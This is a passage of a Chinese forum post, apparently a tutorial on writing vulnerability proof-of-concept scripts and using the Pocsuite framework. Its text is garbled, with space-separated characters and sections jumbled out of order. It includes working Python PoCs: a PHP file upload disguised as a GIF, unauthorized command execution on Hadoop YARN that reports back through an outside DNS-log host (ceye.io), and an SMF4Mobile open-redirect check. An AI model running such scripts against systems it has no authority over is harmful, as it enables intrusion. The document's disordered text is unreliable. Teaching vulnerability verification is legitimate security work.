,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   r e s p . s t a t u s _ c o d e   = =   2 0 0   a n d   ' E V O - C R M   -   C o n t e n t   R e l a t i o n s h i p   M a n a g e m e n t '   i n   r e s p . t e x t   a n d   " m y s q l _ e v o c m s _ f e t c h _ o b j e c t "   i n   r e s p . t e x t :                 p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p s : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " ) #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         f i l e n a m e   =   ' 1 2 3 1 2 3 1 2 3 1 2 3 . p h p '         c o d e   =   " G I F 8 9 a 2 1 3 2 1 3 1 2 3 4 5 6 < ? p h p   e c h o   m d 5 ( 9 9 6 ) ; u n l i n k ( _ _ F I L E _ _ ) ; ? > "         f i l e s   =   { ' f i l e T o U p l o a d ' :   ( f i l e n a m e ,   c o d e ,   ' C o n t e n t - T y p e :   i m a g e / g i f ' ) }         a c t i o n 1 = " / a s s e t s / p h p / u p l o a d . p h p "         r e s p 1   =   r e q . p o s t ( t a r g e t + a c t i o n 1 , h e a d e r s = h e a d e r s ,   v e r i f y = F a l s e ,   t i m e o u t = 3 0 ,   a l l o w _ r e d i r e c t s = F a l s e , f i l e s = f i l e s )         i f   r e s p 1 . s t a t u s _ c o d e   = =   2 0 0   a n d   f i l e n a m e   i n   r e s p 1 . t e x t   a n d   ' h a s   b e e n   u p l o a d e d '   i n   r e s p 1 . t e x t :                 a c t i o n 2 = " / a s s e t s / d a t a / u s r i m g / { } " . f o r m a t ( f i l e n a m e )                 r e s p 2   =   r e q . g e t ( t a r g e t + a c t i o n 2 ,   v e r i f y = F a l s e )                 i f   r e s p 2 . s t a t u s _ c o d e   = =   2 0 0   a n d   " 0 b 8 a f f 0 4 3 8 6 1 7 c 0 5 5 e b 5 5 f 0 b a 5 d 2 2 6 f a "   i n   r e s p 2 . t e x t :                         p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                         r e t u r n   T r u e
7 、 代 码 、 命 令 执 行 、 代 码 、 命 令 执 行 漏 洞 案 例 ： 漏 洞 案 例 ： 以 H a d o o p   Y A R N   R e s o u r c e M a n a g e r   未 授 权 访 问 导 致 远 程 命 令 执 行 漏 洞 作 为 漏 洞 演 示 ， 漏 洞 原 理 链 接 ： h t t p : / / a r c h i v e . h a c k . l u / 2 0 1 6 / W a v e s t o n e % 2 0 - % 2 0 H a c k . l u % 2 0 2 0 1 6 % 2 0 - % 2 0 H a d o o p % 2 0 s a f a r i % 2 0 - % 2 0 H u n t i n g % 2 0 f o r % 2 0 v u l n e r a b i l i t i e s % 2 0 - % 2 0 v 1 . 0 . p d f 。 漏 洞 复 现 以 及 e x p 脚 本 可 查 看 ： h t t p s : / / v u l h u b . o r g / # / e n v i r o n m e n t s / h a d o o p / u n a u t h o r i z e d - y a r n / ， 这 里 我 们 直 接 引 用 里 面 的 e x p ， 修 改 执 行 命 令 ， 因 为 无 回 显 ， 所 以 通 过 d n s l o g a p i 返 回 结 果 判 断 是 否 存 在 漏 洞 ， d n s l o g a p i 可 以 填 写 自 己 的 。 所 以 p o c 可 以 为 ： 8 、 、 U R L 跳 转 跳 转 漏 洞 案 例 ： 漏 洞 案 例 ： u r l 跳 转 拿 S M F 4 M o b i l e   1 . 1 . 5   存 在 U R L 重 定 向 漏 洞 作 为 漏 洞 演 示 ， 漏 洞 详 情 链 接 ： h t t p s : / / c x s e c u r i t y . c o m / i s s u e / W L B - 2 0 1 9 0 3 0 0 0 6 。 在 漏 洞 详 情 里 面 可 以 看 到 可 测 试 的 u r l ， 漏 洞 链 接 为 i n d e x . p h p ? t h e m e m o d e = m o b i l e ; r e d i r e c t = ， r e d i r e c t 为 要 跳 转 的 u r l 参 数 ， 响 应 状 态 码 为 3 0 1 或 者 3 0 2 。                         r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " )       #   c o d i n g : u t f - 8 i m p o r t   r a n d o m i m p o r t   t i m e i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         t a r g e t = t a r g e t . r s t r i p ( " / " )         a c t i o n 1   =   " / w s / v 1 / c l u s t e r / a p p s / n e w - a p p l i c a t i o n "         r e s p 1   =   r e q . p o s t ( t a r g e t   +   a c t i o n 1 ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         a p p _ i d = 0         t r y :                 a p p _ i d   =   r e s p 1 . j s o n ( ) [ ' a p p l i c a t i o n - i d ' ]         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t   e                 r e t u r n   F a l s e         a c t i o n 2 = " / w s / v 1 / c l u s t e r / a p p s "         c e y e _ d o m a i n = " { } . x x x x x . c e y e . i o " . f o r m a t ( ' ' . j o i n ( r a n d o m . s a m p l e ( ' a b c d e f g h i j k l m n o p q r s t u v w x y z ' , 5 ) ) )         c e y e _ a p i _ t o k e n   =   " x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x "         d a t a   =   {                 ' a p p l i c a t i o n - i d ' :   a p p _ i d ,                 ' a p p l i c a t i o n - n a m e ' :   ' t e s t ' ,                 ' a m - c o n t a i n e r - s p e c ' :   {                         ' c o m m a n d s ' :   {                                 ' c o m m a n d ' :   ' p i n g   - c   1   % s '   %   c e y e _ d o m a i n                         } ,                 } ,                 ' a p p l i c a t i o n - t y p e ' :   ' Y A R N ' ,         }         r e q . p o s t ( t a r g e t + a c t i o n 2 ,   j s o n = d a t a ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         t i m e . s l e e p ( 3 )         r e t = r e q . g e t ( " h t t p : / / a p i . c e y e . i o / v 1 / r e c o r d s ? t o k e n = { } & t y p e = d n s & f i l t e r = { } " . f o r m a t ( c e y e _ a p i _ t o k e n , c e y e _ d o m a i n ) ) . j s o n ( ) [ " d a t a " ]         i f   r e t :                 p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " )
在 编 写 u r l 重 定 向 漏 洞 P O C 的 时 候 ， p o c 请 求 里 面 不 让 其 跳 转 ， 一 次 请 求 检 查 响 应 头 的 跳 转 或 前 端 跳 转 代 码 即 可 。 这 个 漏 洞 的 u r l 足 够 特 殊 ， 所 以 不 需 要 再 进 行 一 次 请 求 得 到 指 纹 匹 配 ， 所 以 P O C 可 以 为 ： 五 、 五 、 P O C 规 范 、 规 范 、 P O C 框 架 框 架 将 p o c 的 格 式 等 规 范 好 放 入 一 个 框 架 内 方 便 查 看 、 使 用 ， 好 处 多 多 。 P O C 框 架 有 很 多 ， 常 见 开 发 语 言 是 p y t h o n 、 g o l a n g 、 r u b y 等 ， 常 见 的 P O C 框 架 有 p o c s u i t e 、 o s p r e y 、 p o c - t 、 k u n p e n g 等 。 这 里 使 用 p y t h o n 2 版 本 的 p o c s u i t e 编 写 P O C 。 1 、 、 p o c s u i t e 介 绍 介 绍 P o c s u i t e   是 知 道 创 宇 安 全 研 究 团 队 打 造 的 一 款 基 于 漏 洞 与   P o C   的 漏 洞 验 证 框 架 。 在 获 取 到 相 关 漏 洞 详 情 后 ， 任 何 有 一 定   P y t h o n   开 发 基 础 的 人 都 可 以 基 于   P o c s u i t e   开 发 出 对 应 漏 洞 的   P o C   或 者   E x p   ， 轻 而 易 举 的 就 可 以 直 接 使 用   P o c s u i t e   进 行 相 关 的 验 证 和 调 用 ， 而 无 需 考 虑 底 层 代 码 架 构 等 。 2 、 安 装 以 及 简 单 使 用 、 安 装 以 及 简 单 使 用 可 通 过 p i p   i n s t a l l   p o c s u i t e 安 装 ， 也 可 以 直 接 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / k n o w n s e c / P o c s u i t e 下 载 使 用 。 简 单 常 用 命 令 ： p y t h o n   p o c s u i t e . p y   - r   t e s t s / p o c _ e x a m p l e . p y   - u h t t p : / / w w w . e x a m p l e . c o m /   - - v e r i f y - r   为 p o c 路 径 ， 可 以 单 个 p o c 文 件 ， 也 可 以 是 p o c 文 件 夹 ， - u 为 验 证 u r l ， - - v e r i f y 为 执 行 p o c 验 证 函 数 如 有 第 三 方 模 块 可 将 对 应 的 包 放 入 p o c s u i t e 的 t h i r d p a r t y 文 件 夹 。 更 多 详 细 的 用 法 ： h t t p s : / / g i t h u b . c o m / k n o w n s e c / P o c s u i t e / b l o b / d e v / d o c s / U S A G E . m d 3 、 、 P O C 编 写 步 骤 编 写 步 骤 本 地 p o c 文 件 命 名 规 范 请 查 看 ： h t t p s : / / g i t h u b . c o m / k n o w n s e c / P o c s u i t e / b l o b / d e v / d o c s / C O D I N G . m d # n a m e d s t a n d a r d 1 ） ） 基 础 信 息 填 写 ： 基 础 信 息 填 写 ： #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s   a s   r e q d e f   v e r i f y ( t a r g e t ) :         h e a d e r s   =   {                 " U s e r - A g e n t " :   " M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 2 ;   W O W 6 4 ;   r v : 1 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 1 8 . 0 " ,         }         a c t i o n   =   " / i n d e x . p h p ? t h e m e m o d e = m o b i l e ; r e d i r e c t = h t t p s : / / c x s e c u r i t y . c o m / "         v e r f y _ u r l   =   t a r g e t   +   a c t i o n         r e s p   =   r e q . g e t ( v e r f y _ u r l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 3 0 ,   v e r i f y = F a l s e ,   a l l o w _ r e d i r e c t s = F a l s e )         i f   r e s p . s t a t u s _ c o d e   i n   [ 3 0 1 , 3 0 2 ]   a n d   ' h t t p s : / / c x s e c u r i t y . c o m / '   i n   r e s p . h e a d e r s [ " L o c a t i o n " ] :                 p r i n t   t a r g e t   +   " ， 存 在 漏 洞 "                 r e t u r n   T r u e         r e t u r n   F a l s e i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         v e r i f y ( " h t t p s : / / 1 1 1 . 1 1 1 . 1 1 1 . 1 1 1 / " ) v u l I D   =   ' 1 5 7 1 '     #   s s v i d   I D   如 果 是 提 交 漏 洞 的 同 时 提 交   P o C , 则 写 成   0 v e r s i o n   =   ' 1 '   # 默 认 为 1 a u t h o r   =   ' z h e n g d t '   #     P o C 作 者 的 大 名 v u l D a t e   =   ' 2 0 1 4 - 1 0 - 1 6 '   # 漏 洞 公 开 的 时 间 , 不 知 道 就 写 今 天 c r e a t e D a t e   =   ' 2 0 1 4 - 1 0 - 1 6 ' #   编 写   P o C   的 日 期 u p d a t e D a t e   =   ' 2 0 1 4 - 1 0 - 1 6 ' #   P o C   更 新 的 时 间 , 默 认 和 编 写 时 间 一 样 r e f e r e n c e s   =   [ ' h t t p s : / / w w w . s e k t i o n e i n s . d e / e n / b l o g / 1 4 - 1 0 - 1 5 - d r u p a l - s q l - i n j e c t i o n - v u l n e r a b i l i t y . h t m l ' ] #   漏 洞 地 址 来 源 , 0 d a y 不 用 写 n a m e   =   ' D r u p a l   7 . x   / i n c l u d e s / d a t a b a s e / d a t a b a s e . i n c   S Q L 注 入 漏 洞   P o C ' #   P o C   名 称 a p p P o w e r L i n k   =   ' h t t p s : / / w w w . d r u p a l . o r g / ' #   漏 洞 厂 商 主 页 地 址 a p p N a m e   =   ' D r u p a l ' #   漏 洞 应 用 名 称 a p p V e r s i o n   =   ' 7 . x ' #   漏 洞 影 响 版 本
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理